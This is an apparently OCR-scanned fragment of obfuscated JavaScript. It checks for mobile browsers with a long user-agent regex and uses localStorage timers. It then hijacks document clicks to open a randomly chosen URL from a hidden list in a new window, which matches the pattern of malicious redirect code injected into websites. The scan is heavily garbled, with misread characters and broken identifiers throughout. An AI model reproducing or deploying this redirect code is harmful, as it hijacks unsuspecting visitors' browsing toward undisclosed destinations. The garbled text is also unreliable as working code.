md-|co(mp|nd)|craw|da(it|lljng)|dbte|dc-s|devi|dica|dmobl|do(c|p)o|ds(12|-d)|el(49]ai)|em(I2|ul)|er(
iclkQ)|esl8|ez([4-7]0|os|wa|ze)|fetc]fly(-|_)|g1
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u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t) |hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-|
|_lalglpls|t)|tp)|hu(aw]tc)|i-(20|go|ma)|i230]iac(
|-|/)|ibrolidealig01|ikom|im1k|innolipaq|iris|ja(t|v)a|jbro|jemuljigs|kddi|kejilkgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(nolxi)|lg(
gl/(k|l|u)|50|54|-[a-w]) |liow|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-crme(rc|ri)|mi(o8|
oalts)|mmeflmo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)Jmwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|lwg|wt) | nok(6
li)Inzphlo2im|op(tijwv)|oran|owg1|p800|pan(ald|t)|pdxg|pg(13|-([1-8]|c))[phil|pire[pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-alqc(07|12|21|32|60|-[2-7]|i-) |qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|majmm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5lid)|sm(al|ar|b3|it[t5)|so(ft|ny)|sp(01|h-|v-|v
)Isy(01|mb)|t2(18]50)|t6(00|10|18)|ta(gt|Ik)|tcl-|tdg-|tel(ijm)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1]si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)[vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-| )|webc|whit|wi(g
[nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[ 0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[ _0x365b[0x1]]||navigator[ _0x365b[0x2]]||window[_0x365b[0x3]
1),_0x129862;};const
_Oxfdead6=[ 0x365b[0x6], 0x365b[0x7], 0x365b[0x8], 0x365b[0x9], 0x365b[0xa], 0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe], 0x365b[0xf]],_0x480bb2=0x3, 0x3ddc80=0x6, 0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44, 0x967357)=>{!localStorage[ 0x
365b[0x12]](_0x365b[0x10]+_0x1e6b44+ 0x365b[0x11])&&localStorage[ 0x365b[0x13]](_0x36
5b[0x10]+_0x1e6b44+ 0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cce[ 0x365b[0x15]]((_0x20a0ef, _0x11cb0d)=>localStorage[ 0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_ 0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[ 0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[ 0x365b[0x12]](_0x365b[0x10]+_0x51805f+_ 0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23), 0x381a18=(_0x3ab06f, 0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);}, 0x3f1308=(_
0x3a999a, 0x355f3a)=>{const 0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85¢f);},__0x4a7983=(_
Ox19abfa, 0x2bf37, 0xb43c45)=>{ 0x10ad9f(_0x19abfa),newlLocation=_0x2317c1(_0x19abfa),
_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b], 0xb43c45), 0x5e3811(_0x365b[0x10]+__
0x2bf37+ 0x365b[0x1c],_0xb43c45), 0x57deba(newlLocation),window|[ 0x365b[0x0]]()&&windo
w[_0x365b[0x1e]](newLocation, 0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){ 0x3b4dcb[ 0x365b[0x1f]]();const
_0x2b4a92=Iocation[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()), 0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_ 0x2b4a92+ 0x365b[0x1b]), 0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_ 0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parselnt(_0x7f12bb), 0x5f3351=parselnt(_0x155a21), 0x448fcO=_0x3f1308(_0x45
93ae, 0x5d977e), O0x5f1aaf= 0x381a18(_0x4593ae, 0x5f3351); Ox5f1aaf>= 0x3ddc80&&( 0
x10ad9f(_0xfdead6), 0x5e3811(_0x365b[0x10]+_0x2b4a92+ 0x365b[0x1c],_0x4593ae));;_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[ 0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
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x2b4a92+ 0x365b[0x1b], 0x4593ae),window[ 0x365b[0x1e]](_0x1b1224, 0x365b[0x1d]), 0x5
7deba(_0x1b1224)));}catch(_0x2386f7){ 0x4a7983( Oxfdead6, 0x2b4a92, 0x4593ae);}else
_0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}document] 0x365b[0x23]](_0x365b[0x22], 0x9
78889);}());
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